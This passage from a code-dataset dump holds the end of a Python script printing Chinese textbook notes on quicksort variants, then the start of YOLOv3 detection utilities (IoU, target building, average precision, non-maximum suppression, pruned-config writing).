print('\u6bcf\u5f53PARTITION\u8fc7\u7a0b\u88ab\u8c03\u7528\u65f6\uff0c\u5c31\u8981\u9009\u51fa\u4e00\u4e2a\u4e3b\u5143\u5143\u7d20\uff0c\u540e\u7eed\u5bf9QUICKSORT\u548cPARTITION\u7684\u5404\u6b21\u9012\u5f52\u8c03\u7528\u4e2d\uff0c\u90fd\u4e0d\u4f1a\u5305\u542b\u8be5\u5143\u7d20')\n        print('\u4e8e\u662f\uff0c\u5728\u5feb\u901f\u6392\u5e8f\u7b97\u6cd5\u7684\u6574\u4e2a\u6267\u884c\u8fc7\u7a0b\u4e2d\uff0c\u6700\u591a\u53ea\u53ef\u80fd\u8c03\u7528PARTITION\u8fc7\u7a0bn\u6b21\uff0c\u8c03\u7528\u4e00\u6b21PARTITION\u7684\u65f6\u95f4\u4e3aO(1)\u5728\u52a0\u4e0a\u4e00\u6bb5\u65f6\u95f4')\n        print('\u5f15\u74067.1 \u8bbe\u5f53QUICKSORT\u5728\u4e00\u4e2a\u5305\u542bn\u4e2a\u5143\u7d20\u7684\u6570\u7ec4\u4e0a\u8fd0\u884c\u65f6\uff0cPARTITION\u5728\u7b2c\u56db\u884c\u6240\u505a\u7684\u6bd4\u8f83\u6b21\u6570\u4e3aX,\u90a3\u4e48QUICKSORT\u7684\u8fd0\u884c\u65f6\u95f4\u4e3aO(n+X)')\n        print('\u7ec3\u4e607.4-1 \u9012\u5f52\u5f0f\u5b50T(n)=max(T(q)+T(n-q-1)+\u0398(n))\u4e2d\uff0cT(n)=\u03a9(n^2)')\n        print('\u7ec3\u4e607.4-2 \u5feb\u901f\u6392\u5e8f\u7684\u6700\u4f73\u60c5\u51b5\u8fd0\u884c\u65f6\u95f4\u4e3a\u03a9(nlgn)')\n        print('\u7ec3\u4e607.4-3 \u7565')\n        print('\u7ec3\u4e607.4-4 RANDOMIZED-QUICKSORT\u7b97\u6cd5\u671f\u671b\u7684\u8fd0\u884c\u65f6\u95f4\u4e3a\u03a9(nlgn)')\n        print('\u7ec3\u4e607.4-5 \u5bf9\u63d2\u5165\u6392\u5e8f\u6765\u8bf4\uff0c\u5f53\u5176\u8f93\u5165\u5df2\u7ecf\u662f\u51e0\u4e4e\u6392\u597d\u5e8f\u7684\uff0c\u8fd0\u884c\u65f6\u95f4\u662f\u5f88\u5feb\u7684')\n        print(' \u5f53\u5728\u4e00\u4e2a\u957f\u5ea6\u5c0f\u4e8ek\u7684\u5b50\u6570\u7ec4\u4e0a\u8c03\u7528\u5feb\u901f\u6392\u5e8f\u65f6\uff0c\u8ba9\u5b83\u4e0d\u505a\u4efb\u4f55\u6392\u5e8f\u5c31\u8fd4\u56de\u3002', \n            '\u5f53\u9876\u5c42\u7684\u5feb\u901f\u6392\u5e8f\u8c03\u7528\u8fd4\u56de\u540e\uff0c\u5bf9\u6574\u4e2a\u6570\u7ec4\u8fd0\u884c\u63d2\u5165\u6392\u5e8f\u6765\u5b8c\u6210\u6392\u5e8f\u8fc7\u7a0b\u3002', \n            '\u8fd9\u4e00\u6392\u5e8f\u7b97\u6cd5\u7684\u671f\u671b\u8fd0\u884c\u65f6\u95f4\u4e3aO(nk+nlg(n/k))')\n        print('\u7ec3\u4e607.4-6 PARTITION\u8fc7\u7a0b\u505a\u8fd9\u6837\u7684\u4fee\u6539\uff0c\u4ece\u6570\u7ec4A\u4e2d\u968f\u673a\u5730\u9009\u51fa\u4e09\u4e2a\u5143\u7d20\uff0c\u5e76\u56f4\u7ed5\u8fd9\u4e09\u4e2a\u6570\u7684\u4e2d\u6570(\u5373\u8fd9\u4e09\u4e2a\u5143\u7d20\u7684\u4e2d\u95f4\u503c)\u8fdb\u884c\u5212\u5206', \n            '\u6c42\u51fa\u4ee5a\u7684\u51fd\u6570\u5f62\u5f0f\u8868\u793a\u7684\u3001\u6700\u574f\u60c5\u51b5\u4e2da:(1-a)\u5212\u5206\u7684\u8fd1\u4f3c\u6982\u7387')\n        A = [13, 19, 9, 5, 12, 8, 7, 4, 11, 2, 6, 21]\n        print('\u601d\u8003\u98987-1\uff1a\u6570\u7ec4A', _deepcopy(A), '\u7684HOARE-PARTITION\u7b97\u6cd5\u8fc7\u7a0b\u4e3a:', \n            quicksort.hoare_partition(A, 0, len(A) - 1))\n        print('\u6570\u7ec4A', _deepcopy(A), '\u7684HOARE-QUICKSORT\u7684\u8fc7\u7a0b\u4e3a\uff1a', quicksort.hoare_quicksort(A))\n        print('\u601d\u8003\u98987-2:\u5bf9\u5feb\u901f\u6392\u5e8f\u7b97\u6cd5\u7684\u53e6\u4e00\u79cd\u5206\u6790')\n        print(' \u7740\u91cd\u5173\u6ce8\u6bcf\u4e00\u6b21QUICKSORT\u9012\u5f52\u8c03\u7528\u7684\u671f\u671b\u8fd0\u884c\u65f6\u95f4\uff0c\u800c\u4e0d\u662f\u6267\u884c\u7684\u6bd4\u8f83\u6b21\u6570')\n        print(' a) \u7ed9\u5b9a\u4e00\u4e2a\u5927\u5c0f\u4e3an\u7684\u6570\u7ec4\uff0c\u4efb\u4f55\u7279\u5b9a\u5143\u7d20\u88ab\u9009\u4e3a\u4e3b\u5143\u7684\u6982\u7387\u4e3a1/n')\n        print('\u601d\u8003\u98987-3 Stooge\u6392\u5e8f')\n        A = [8, 7, 56, 43, 21]\n        print('\u6570\u7ec4A', _deepcopy(A), '\u7684Stooge\u6392\u5e8f\u7ed3\u679c\u4e3a:', stooge.stoogesort(A), A)\n        print('\u601d\u8003\u98987-4 \u5feb\u901f\u6392\u5e8f\u7684\u5806\u6808\u6df1\u5ea6')\n        print(' 7.1\u4e2d\u7684\u5feb\u901f\u6392\u5e8f\u7b97\u6cd5\u5305\u542b\u6709\u4e24\u4e2a\u5bf9\u5176\u81ea\u8eab\u7684\u9012\u5f52\u8c03\u7528,\u4f46\u662f\u7b2c\u4e8c\u4e2a\u9012\u5f52\u4e0d\u662f\u5fc5\u987b\u7684')\n        A = [8, 7, 56, 43, 21]\n        print('\u6570\u7ec4A', _deepcopy(A), '\u7684\u5c3e\u9012\u5f52\u5feb\u901f\u6392\u5e8f\u7ed3\u679c\u4e3a:', quicksort.morequicksort(A))\n        print('\u601d\u8003\u98987-5 \\\"\u4e09\u6570\u53d6\u4e2d\\\"\u5212\u5206 \u4e5f\u5c31\u662f\u4e3b\u5143\u7d20RANDOMIZED-QUICKSORT\u7684RANDOMIZED-PARTITION\u8fc7\u7a0b')\n        print(' \u4e09\u6570\u53d6\u4e2d\u65b9\u6cd5\u4ec5\u4ec5\u5f71\u54cd\u5176\u8fd0\u884c\u65f6\u95f4\u03a9(nlgn)\u4e2d\u7684\u5e38\u6570\u56e0\u5b50')\n        print('\u601d\u8003\u98987-6 \u5bf9\u533a\u95f4\u7684\u6a21\u7cca\u6392\u5e8f:\u7b97\u6cd5\u7684\u76ee\u6807\u662f\u5bf9\u8fd9\u4e9b\u533a\u95f4\u8fdb\u884c\u6a21\u7cca\u6392\u5e8f')\n        print('\u6a21\u7cca\u6392\u5e8f\u7b97\u6cd5\u7684\u671f\u671b\u8fd0\u884c\u65f6\u95f4\u4e3a\u0398(nlgn),\u4f46\u5f53\u6240\u6709\u533a\u95f4\u90fd\u91cd\u53e0\u65f6\uff0c\u671f\u671b\u7684\u8fd0\u884c\u65f6\u95f4\u4e3a\u0398(n)')\n        # python src/chapter7/chapter7note.py\n        # python3 src/chapter7/chapter7note.py\n\nchapter7_1 = Chapter7_1()\nchapter7_2 = Chapter7_2()\nchapter7_3 = Chapter7_3()\nchapter7_4 = Chapter7_4()\n\ndef printchapter7note():\n    '''\n    print chapter7 note.\n    '''\n    print('Run main : single chapter seven!')  \n    chapter7_1.note()\n    chapter7_2.note()\n    chapter7_3.note()\n    chapter7_4.note()\n\n# python src/chapter7/chapter7note.py\n# python3 src/chapter7/chapter7note.py\nif __name__ == '__main__':  \n    printchapter7note()\nelse:\n    pass\n", "meta": {"hexsha": "ac7fbdd0bf63106049014a09ace0a3faa9ca1176", "size": 8312, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/chapter7/chapter7note.py", "max_stars_repo_name": "Peefy/CLRS_dugu_code-master", "max_stars_repo_head_hexsha": "98f00e75e1b0ebc13a7affb2604bec8501692a19", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2018-01-31T03:08:50.000Z", "max_stars_repo_stars_event_max_datetime": "2018-04-25T12:57:01.000Z", "max_issues_repo_path": "src/chapter7/chapter7note.py", "max_issues_repo_name": "HideLakitu/IntroductionToAlgorithm.Python", "max_issues_repo_head_hexsha": "33662f46dc346203b220d7481d1a4439feda05d2", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/chapter7/chapter7note.py", "max_forks_repo_name": "HideLakitu/IntroductionToAlgorithm.Python", "max_forks_repo_head_hexsha": "33662f46dc346203b220d7481d1a4439feda05d2", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2019-03-03T04:49:53.000Z", "max_forks_repo_forks_event_max_datetime": "2020-07-13T10:18:58.000Z", "avg_line_length": 34.7782426778, "max_line_length": 97, "alphanum_fraction": 0.5973291627, "include": true, "reason": "from numpy", "num_tokens": 4220, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.34864513533394575, "lm_q2_score": 0.25683198001082097, "lm_q1q2_score": 0.08954322042895793}}
{"text": "# coding=utf-8\nimport numpy as np\nimport torch\nimport os\nimport torch.nn.functional as F\nimport cv2\nimport random\n\n\ndef class_weights():\n    \"\"\"\n    COCO train2014\u6bcf\u4e2a\u6837\u672c\u7c7b\u7684\u9891\u7387\n    \u662f\u7528\u4e8e\u5904\u7406\u6837\u672c\u4e0d\u5747\u8861.\n    \u201c\u6837\u672c\u504f\u659c\u662f\u6307\u6570\u636e\u96c6\u4e2d\u6b63\u8d1f\u7c7b\u6837\u672c\u6570\u91cf\u4e0d\u5747\uff0c\u6bd4\u5982\u6b63\u7c7b\u6837\u672c\u670910000\u4e2a\uff0c\u8d1f\u7c7b\u6837\u672c\u53ea\u6709100\u4e2a\uff0c\n    \u8fd9\u5c31\u53ef\u80fd\u4f7f\u5f97\u8d85\u5e73\u9762\u88ab\u201c\u63a8\u5411\u201d\u8d1f\u7c7b\uff08\u56e0\u4e3a\u8d1f\u7c7b\u6570\u91cf\u5c11\uff0c\u5206\u5e03\u5f97\u4e0d\u591f\u5e7f\uff09\uff0c\u5f71\u54cd\u7ed3\u679c\u7684\u51c6\u786e\u6027\u3002\n    \"\"\"\n    weights = 1 / torch.FloatTensor(\n        [187437, 4955, 30920, 6033, 3838, 4332, 3160, 7051, 7677, 9167, 1316, 1372, 833, 6757, 7355, 3302, 3776, 4671,\n         6769, 5706, 3908, 903, 3686, 3596, 6200, 7920, 8779, 4505, 4272, 1862, 4698, 1962, 4403, 6659, 2402, 2689,\n         4012, 4175, 3411, 17048, 5637, 14553, 3923, 5539, 4289, 10084, 7018, 4314, 3099, 4638, 4939, 5543, 2038, 4004,\n         5053, 4578, 27292, 4113, 5931, 2905, 11174, 2873, 4036, 3415, 1517, 4122, 1980, 4464, 1190, 2302, 156, 3933,\n         1877, 17630, 4337, 4624, 1075, 3468, 135, 1380])\n    weights /= weights.sum()\n    # tensor([1.4458e-04, 5.4690e-03, 8.7642e-04, 4.4918e-03, 7.0606e-03, 6.2555e-03,\n    #         8.5756e-03, 3.8433e-03, 3.5299e-03, 2.9561e-03, 2.0592e-02, 1.9751e-02,\n    #         3.2532e-02, 4.0105e-03, 3.6844e-03, 8.2068e-03, 7.1766e-03, 5.8015e-03,\n    #         4.0034e-03, 4.7492e-03, 6.9342e-03, 3.0010e-02, 7.3518e-03, 7.5358e-03,\n    #         4.3708e-03, 3.4216e-03, 3.0868e-03, 6.0153e-03, 6.3433e-03, 1.4554e-02,\n    #         5.7682e-03, 1.3812e-02, 6.1546e-03, 4.0695e-03, 1.1282e-02, 1.0078e-02,\n    #         6.7544e-03, 6.4907e-03, 7.9445e-03, 1.5896e-03, 4.8073e-03, 1.8621e-03,\n    #         6.9077e-03, 4.8924e-03, 6.3182e-03, 2.6873e-03, 3.8613e-03, 6.2816e-03,\n    #         8.7444e-03, 5.8428e-03, 5.4867e-03, 4.8888e-03, 1.3297e-02, 6.7679e-03,\n    #         5.3629e-03, 5.9193e-03, 9.9292e-04, 6.5886e-03, 4.5690e-03, 9.3283e-03,\n    #         2.4252e-03, 9.4322e-03, 6.7143e-03, 7.9352e-03, 1.7863e-02, 6.5742e-03,\n    #         1.3686e-02, 6.0705e-03, 2.2772e-02, 1.1772e-02, 1.7371e-01, 6.8901e-03,\n    #         1.4437e-02, 1.5371e-03, 6.2483e-03, 5.8605e-03, 2.5208e-02, 7.8139e-03,\n    #         2.0073e-01, 1.9637e-02])\n\n    return weights\n\n\ndef xyxy2xywh(x):  # Convert bounding box format from [x1, y1, x2, y2] to [x, y, w, h]\n    y = torch.zeros(x.shape) if x.dtype is torch.float32 else np.zeros(x.shape)\n    y[:, 0] = (x[:, 0] + x[:, 2]) / 2\n    y[:, 1] = (x[:, 1] + x[:, 3]) / 2\n    y[:, 2] = x[:, 2] - x[:, 0]\n    y[:, 3] = x[:, 3] - x[:, 1]\n    return y\n\n\ndef xywh2xyxy(x):  # Convert bounding box format from [x, y, w, h] to [x1, y1, x2, y2]\n    y = torch.zeros(x.shape) if x.dtype is torch.float32 else np.zeros(x.shape)\n    y[:, 0] = (x[:, 0] - x[:, 2] / 2)\n    y[:, 1] = (x[:, 1] - x[:, 3] / 2)\n    y[:, 2] = (x[:, 0] + x[:, 2] / 2)\n    y[:, 3] = (x[:, 1] + x[:, 3] / 2)\n    return y\n\n\ndef bbox_iou(box1, box2, x1y1x2y2=True):\n    \"\"\"\n    Returns the IoU of two bounding boxes\n    \"\"\"\n    if x1y1x2y2:\n        # Get the coordinates of bounding boxes\n        b1_x1, b1_y1, b1_x2, b1_y2 = box1[:, 0], box1[:, 1], box1[:, 2], box1[:, 3]\n        b2_x1, b2_y1, b2_x2, b2_y2 = box2[:, 0], box2[:, 1], box2[:, 2], box2[:, 3]\n    else:\n        # Transform from center and width to exact coordinates\n        b1_x1, b1_x2 = box1[:, 0] - box1[:, 2] / 2, box1[:, 0] + box1[:, 2] / 2\n        b1_y1, b1_y2 = box1[:, 1] - box1[:, 3] / 2, box1[:, 1] + box1[:, 3] / 2\n        b2_x1, b2_x2 = box2[:, 0] - box2[:, 2] / 2, box2[:, 0] + box2[:, 2] / 2\n        b2_y1, b2_y2 = box2[:, 1] - box2[:, 3] / 2, box2[:, 1] + box2[:, 3] / 2\n\n    # get the coordinates of the intersection rectangle\n    inter_rect_x1 = torch.max(b1_x1, b2_x1)\n    inter_rect_y1 = torch.max(b1_y1, b2_y1)\n    inter_rect_x2 = torch.min(b1_x2, b2_x2)\n    inter_rect_y2 = torch.min(b1_y2, b2_y2)\n    # Intersection area\n    inter_area = torch.clamp(inter_rect_x2 - inter_rect_x1, 0) * torch.clamp(inter_rect_y2 - inter_rect_y1, 0)\n    # Union Area\n    b1_area = (b1_x2 - b1_x1) * (b1_y2 - b1_y1)\n    b2_area = (b2_x2 - b2_x1) * (b2_y2 - b2_y1)\n\n    return inter_area / (b1_area + b2_area - inter_area + 1e-16)\n\n\ndef build_targets(pred_boxes, pred_conf, pred_cls, target, anchor_wh, nA, nC, nG, batch_report):\n    \"\"\"return tx, ty, tw, th, tconf, tcls, nCorrect, nT:number of targets \"\"\"\n    nB = len(target)  # number of images in batch\n    nT = [len(x) for x in target]  # targets per image\n    tx = torch.zeros(nB, nA, nG, nG)  # nB:batch size(4)\n    ty = torch.zeros(nB, nA, nG, nG)  # nA:number of anchors(3),\n    tw = torch.zeros(nB, nA, nG, nG)  # nG:number of grid points(13) = img_dim/stride\n    th = torch.zeros(nB, nA, nG, nG)\n    tconf = torch.ByteTensor(nB, nA, nG, nG).fill_(0)  # \u5728\u51fd\u6570\u540e\u9762\u52a0 _  \u662f\u6539\u53d8\u81ea\u8eab\u7684\u610f\u601d\n    tcls = torch.ByteTensor(nB, nA, nG, nG, nC).fill_(0)  # nC = number of classes\n    TP = torch.ByteTensor(nB, max(nT)).fill_(0)\n    FP = torch.ByteTensor(nB, max(nT)).fill_(0)\n    FN = torch.ByteTensor(nB, max(nT)).fill_(0)\n\n    TC = torch.ShortTensor(nB, max(nT)).fill_(-1)  # target category  \u76ee\u6807\u7c7b\u522b\n\n    for b in range(nB):\n        nTb = nT[b]  # number of targets\n        if nTb == 0:\n            continue\n        t = target[b]\n        if batch_report:\n            FN[b, :nTb] = 1\n\n        # \u8f6c\u6362\u4e3a\u76f8\u5bf9\u4e8e\u6846\u7684\u4f4d\u7f6e\n        TC[b, :nTb], gx, gy, gw, gh = t[:, 0].long(), t[:, 1] * nG, t[:, 2] * nG, t[:, 3] * nG, t[:, 4] * nG\n        # \u83b7\u53d6\u7f51\u683c\u6846\u7d22\u5f15\u5e76\u9632\u6b62\u6ea2\u51fa\uff08\u537313\u4e2a\u951a\u70b9\u4e0a\u768413.01\uff09\n        '''\n        clamp\u8868\u793a\u5939\u7d27\uff0c\u5939\u4f4f\u7684\u610f\u601d\uff0ctorch.clamp(input,min,max,out=None)-> Tensor\n        \u5c06input\u4e2d\u7684\u5143\u7d20\u9650\u5236\u5728[min,max]\u8303\u56f4\u5185\u5e76\u8fd4\u56de\u4e00\u4e2aTensor\n        '''\n        gi = torch.clamp(gx.long(), min=0, max=nG - 1)\n        gj = torch.clamp(gy.long(), min=0, max=nG - 1)\n\n        # iou of targets-anchors (using wh only)\n        box1 = t[:, 3:5] * nG\n        # box2 = anchor_grid_wh[:, gj, gi]\n        box2 = anchor_wh.unsqueeze(1).repeat(1, nTb, 1)\n\n        # torch.prod(input): \u8fd4\u56de\u6240\u6709\u5143\u7d20\u7684\u4e58\u79ef\n        inter_area = torch.min(box1, box2).prod(2)\n        iou_anch = inter_area / (gw * gh + box2.prod(2) - inter_area + 1e-16)\n\n        # Sekect best iou_pred and anchor\n        iou_anch_best, a = iou_anch.max(0)  # best anchor [0-2] for each target\n\n        # Select best unique target-anchor combinations\n        if nTb > 1:\n            iou_order = np.argsort(-iou_anch_best)  # best to worst\n\n            # Unique anchor selection(slower but retains original order)\n            u = torch.cat((gi, gj, a), 0).view(3, -1).numpy()\n            _, first_unique = np.unique(u[:, iou_order], axis=1, return_index=True)  # \u7b2c\u4e00\u4e2a\u72ec\u7279\u7684\u6307\u6570\n\n            i = iou_order[first_unique]\n            # \u6700\u4f73anchor\u5fc5\u987b\u4e0e\u76ee\u6807\u5171\u4eab\u91cd\u8981\u7684\u5171\u6027\uff08iou\uff09\n            i = i[iou_anch_best[i] > 0.10]\n            if len(i) == 0:\n                continue\n\n            a, gj, gi, t = a[i], gj[i], gi[i], t[i]\n            if len(t.shape) == 1:\n                t = t.view(1, 5)\n        else:\n            if iou_anch_best < 0.10:\n                continue\n            i = 0\n\n        tc, gx, gy, gw, gh = t[:, 0].long(), t[:, 1] * nG, t[:, 2] * nG, t[:, 3] * nG, t[:, 4] * nG\n\n        # Coordinates  \u5750\u6807\n        # b : number of images in batch\n        # a : anchor\n        tx[b, a, gj, gi] = gx - gi.float()\n        ty[b, a, gj, gi] = gy - gj.float()\n\n        # Width and height(yolo method)\n        tw[b, a, gj, gi] = torch.log(gw / anchor_wh[a, 0])\n        th[b, a, gj, gi] = torch.log(gh / anchor_wh[a, 1])\n\n        # One-hot encoding of label\n        tcls[b, a, gj, gi, tc] = 1\n        tconf[b, a, gj, gi] = 1\n\n        if batch_report:\n            # predicted classes and confidence\n            tb = torch.cat((gx - gw / 2, gy - gh / 2, gx + gw / 2, gy + gh / 2)).view(4, -1).t()  # target boxes\n            pcls = torch.argmax(pred_cls[b, a, gj, gi], 1).cpu()\n            pconf = torch.sigmoid(pred_conf[b, a, gj, gi]).cpu()\n            iou_pred = bbox_iou(tb, pred_boxes[b, a, gj, gi].cpu())\n\n            TP[b, i] = (pconf > 0.5) & (iou_pred > 0.5) & (pcls == tc)\n            FP[b, i] = (pconf > 0.5) & (TP[b, i] == 0)\n            FN[b, i] = pconf <= 0.5\n    return tx, ty, tw, th, tconf, tcls, TP, FP, FN, TC\n\n\ndef model_info(model):  # Plots a line-by-line description of a PyTorch model\n    n_p = sum(x.numel() for x in model.parameters())  # number parameters\n    n_g = sum(x.numel() for x in model.parameters() if x.requires_grad)  # number gradients\n    print('\\n%5s %50s %9s %12s %20s %12s %12s' % ('layer', 'name', 'gradient', 'parameters', 'shape', 'mu', 'sigma'))\n    for i, (name, p) in enumerate(model.named_parameters()):\n        name = name.replace('module_list.', '')\n        print('%5g %50s %9s %12g %20s %12.3g %12.3g' % (\n            i, name, p.requires_grad, p.numel(), list(p.shape), p.mean(), p.std()))\n    print('Model Summary: %g layers, %g parameters, %g gradients\\n' % (i + 1, n_p, n_g))\n\n\ndef load_classes(path):\n    \"\"\"\n    Loads class labels at 'path'\n    \"\"\"\n    fp = open(path, 'r')\n    names = fp.read().split('\\n')[:-1]\n    return names\n\n\ndef ap_per_class(tp, conf, pred_cls, target_cls):\n    \"\"\" Compute the average precision, given the recall and precision curves.\n    Method originally from https://github.com/rafaelpadilla/Object-Detection-Metrics.\n    # Arguments\n        tp:    True positives (list).\n        conf:  Objectness value from 0-1 (list).\n        pred_cls: Predicted object classes (list).\n        target_cls: True object classes (list).\n    # Returns\n        The average precision as computed in py-faster-rcnn.\n    \"\"\"\n\n    # lists/pytorch to numpy\n    tp, conf, pred_cls, target_cls = np.array(tp), np.array(conf), np.array(pred_cls), np.array(target_cls)\n\n    # Sort by objectness\n    i = np.argsort(-conf)\n    tp, conf, pred_cls = tp[i], conf[i], pred_cls[i]\n\n    # Find unique classes\n    unique_classes = np.unique(np.concatenate((pred_cls, target_cls), 0))\n\n    # Create Precision-Recall curve and compute AP for each class\n    ap, p, r = [], [], []\n    for c in unique_classes:\n        i = pred_cls == c\n        n_gt = sum(target_cls == c)  # Number of ground truth objects\n        n_p = sum(i)  # Number of predicted objects\n\n        if (n_p == 0) and (n_gt == 0):\n            continue\n        elif (n_p == 0) or (n_gt == 0):\n            ap.append(0)\n            r.append(0)\n            p.append(0)\n        else:\n            # Accumulate FPs and TPs\n            fpc = np.cumsum(1 - tp[i])\n            tpc = np.cumsum(tp[i])\n\n            # Recall\n            recall_curve = tpc / (n_gt + 1e-16)\n            r.append(tpc[-1] / (n_gt + 1e-16))\n\n            # Precision\n            precision_curve = tpc / (tpc + fpc)\n            p.append(tpc[-1] / (tpc[-1] + fpc[-1]))\n\n            # AP from recall-precision curve\n            ap.append(compute_ap(recall_curve, precision_curve))\n\n    return np.array(ap), unique_classes.astype('int32'), np.array(r), np.array(p)\n\n\ndef compute_ap(recall, precision):\n    \"\"\" Compute the average precision, given the recall and precision curves.\n    Code originally from https://github.com/rbgirshick/py-faster-rcnn.\n    # Arguments\n        recall:    The recall curve (list).\n        precision: The precision curve (list).\n    # Returns\n        The average precision as computed in py-faster-rcnn.\n    \"\"\"\n    # correct AP calculation\n    # first append sentinel values at the end\n\n    mrec = np.concatenate(([0.], recall, [1.]))\n    mpre = np.concatenate(([0.], precision, [0.]))\n\n    # compute the precision envelope\n    for i in range(mpre.size - 1, 0, -1):\n        mpre[i - 1] = np.maximum(mpre[i - 1], mpre[i])\n\n    # to calculate area under PR curve, look for points\n    # where X axis (recall) changes value\n    i = np.where(mrec[1:] != mrec[:-1])[0]\n\n    # and sum (\\Delta recall) * prec\n    ap = np.sum((mrec[i + 1] - mrec[i]) * mpre[i + 1])\n    return ap\n\n\ndef non_max_suppression(prediction, conf_thres=0.5, nms_thres=0.4):\n    \"\"\"\n    Removes detections with lower object confidence score than 'conf_thres' and performs\n    Non-Maximum Suppression to further filter detections.\n    Returns detections with shape:\n        (x1, y1, x2, y2, object_conf, class_score, class_pred)\n    \"\"\"\n\n    output = [None for _ in range(len(prediction))]\n    for image_i, pred in enumerate(prediction):\n        # Filter out confidence scores below threshold\n        # Get score and class with highest confidence\n\n        # cross-class NMS (experimental)\n        cross_class_nms = False\n        if cross_class_nms:\n            # thresh = 0.85\n            thresh = nms_thres\n            a = pred.clone()\n            _, indices = torch.sort(-a[:, 4], 0)  # sort best to worst\n            a = a[indices]\n            radius = 30  # area to search for cross-class ious\n            for i in range(len(a)):\n                if i >= len(a) - 1:\n                    break\n\n                close = (torch.abs(a[i, 0] - a[i + 1:, 0]) < radius) & (torch.abs(a[i, 1] - a[i + 1:, 1]) < radius)\n                close = close.nonzero()\n\n                if len(close) > 0:\n                    close = close + i + 1\n                    iou = bbox_iou(a[i:i + 1, :4], a[close.squeeze(), :4].reshape(-1, 4), x1y1x2y2=False)\n                    bad = close[iou > thresh]\n\n                    if len(bad) > 0:\n                        mask = torch.ones(len(a)).type(torch.ByteTensor)\n                        mask[bad] = 0\n                        a = a[mask]\n            pred = a\n\n        x, y, w, h = pred[:, 0], pred[:, 1], pred[:, 2], pred[:, 3]\n        a = w * h  # area\n        ar = w / (h + 1e-16)  # aspect ratio\n\n        log_w, log_h, log_a, log_ar = torch.log(w), torch.log(h), torch.log(a), torch.log(ar)\n\n        # n = len(w)\n        # shape_likelihood = np.zeros((n, 60), dtype=np.float32)\n        # x = np.concatenate((log_w.reshape(-1, 1), log_h.reshape(-1, 1)), 1)\n        # from scipy.stats import multivariate_normal\n        # for c in range(60):\n        # shape_likelihood[:, c] = multivariate_normal.pdf(x, mean=mat['class_mu'][c, :2], cov=mat['class_cov'][c, :2, :2])\n\n        class_prob, class_pred = torch.max(F.softmax(pred[:, 5:], 1), 1)\n\n        v = ((pred[:, 4] > conf_thres) & (class_prob > .3))\n        v = v.nonzero().squeeze()\n        if len(v.shape) == 0:\n            v = v.unsqueeze(0)\n\n        pred = pred[v]\n        class_prob = class_prob[v]\n        class_pred = class_pred[v]\n\n        # If none are remaining => process next image\n        nP = pred.shape[0]\n        if not nP:\n            continue\n\n        # From (center x, center y, width, height) to (x1, y1, x2, y2)\n        box_corner = pred.new(nP, 4)\n        xy = pred[:, 0:2]\n        wh = pred[:, 2:4] / 2\n        box_corner[:, 0:2] = xy - wh\n        box_corner[:, 2:4] = xy + wh\n        pred[:, :4] = box_corner\n\n        # Detections ordered as (x1, y1, x2, y2, obj_conf, class_prob, class_pred)\n        detections = torch.cat((pred[:, :5], class_prob.float().unsqueeze(1), class_pred.float().unsqueeze(1)), 1)\n        # Iterate through all predicted classes\n        unique_labels = detections[:, -1].cpu().unique()\n        if prediction.is_cuda:\n            unique_labels = unique_labels.cuda(prediction.device)\n\n        nms_style = 'OR'  # 'AND' or 'OR' (classical)\n        for c in unique_labels:\n            # Get the detections with the particular class\n            detections_class = detections[detections[:, -1] == c]\n            # Sort the detections by maximum objectness confidence\n            _, conf_sort_index = torch.sort(detections_class[:, 4], descending=True)\n            detections_class = detections_class[conf_sort_index]\n            # Perform non-maximum suppression\n            max_detections = []\n\n            if nms_style == 'OR':  # Classical NMS\n                while detections_class.shape[0]:\n                    # Get detection with highest confidence and save as max detection\n                    max_detections.append(detections_class[0].unsqueeze(0))\n                    # Stop if we're at the last detection\n                    if len(detections_class) == 1:\n                        break\n                    # Get the IOUs for all boxes with lower confidence\n                    ious = bbox_iou(max_detections[-1], detections_class[1:])\n\n                    # Remove detections with IoU >= NMS threshold\n                    detections_class = detections_class[1:][ious < nms_thres]\n\n            elif nms_style == 'AND':  # 'AND'-style NMS, at least two boxes must share commonality to pass, single boxes erased\n                while detections_class.shape[0]:\n                    if len(detections_class) == 1:\n                        break\n\n                    ious = bbox_iou(detections_class[:1], detections_class[1:])\n\n                    if ious.max() > 0.5:\n                        max_detections.append(detections_class[0].unsqueeze(0))\n\n                    # Remove detections with IoU >= NMS threshold\n                    detections_class = detections_class[1:][ious < nms_thres]\n\n            if len(max_detections) > 0:\n                max_detections = torch.cat(max_detections).data\n                # Add max detections to outputs\n                output[image_i] = max_detections if output[image_i] is None else torch.cat(\n                    (output[image_i], max_detections))\n\n    return output\n\n\ndef write_cfg(cfgfile, cfg, precent):\n    with open(cfgfile, 'r') as f:\n        lines = f.read().split('\\n')  # store the lines in a list\n        lines = [x for x in lines if len(x) > 0]  # get read of the empty lines\n        lines = [x for x in lines if x[0] != '#']  # get rid of comments\n        # lines = [x.rstrip().lstrip() for x in lines]  # get rid of fringe whitespaces\\\n\n    block = {}\n    blocks = []\n    # D:/yolotest/cfg/yolov3.cfg\n    # prunedcfg = os.path.join('./'.join(cfgfile.split(\"/\")[0:-1]), \"prune_\" + cfgfile.split(\"/\")[-1])\n    if not os.path.exists('sparsity_2_prune_cfg'):\n        os.mkdir('sparsity_2_prune_cfg')\n    prunedcfg = os.path.join(\"sparsity_2_prune_cfg/prune_{}_\".format(precent) + cfgfile.split(\"/\")[-1])\n    for line in lines:\n        if line[0] == \"[\":  # This marks the start of a new block\n            if len(block) != 0:  # If block is not empty, implies it is storing values of previous block.\n                blocks.append(block)  # add it the blocks list\n                block = {}  # re-init the block\n            block[\"type\"] = line[1:-1].rstrip()\n        else:\n            key, value = line.split(\"=\")\n            block[key.rstrip()] = value.lstrip()\n    blocks.append(block)\n    x = 0\n    # print(blocks[1])\n    for block in blocks:\n        if 'batch_normalize' in block:\n            block['filters'] = cfg[x]\n            x = x + 1\n    ##\n    with open(prunedcfg, 'w') as f:\n        for block in blocks:\n            for i in block:\n                if i == \"type\":\n                    f.write('\\n')\n                    f.write(\"[\" + block[i] + \"]\\n\")\n                    for j in block:\n                        if j != \"type\":\n                            f.write(j + \"=\" + str(block[j]) + '\\n')\n    print('save pruned 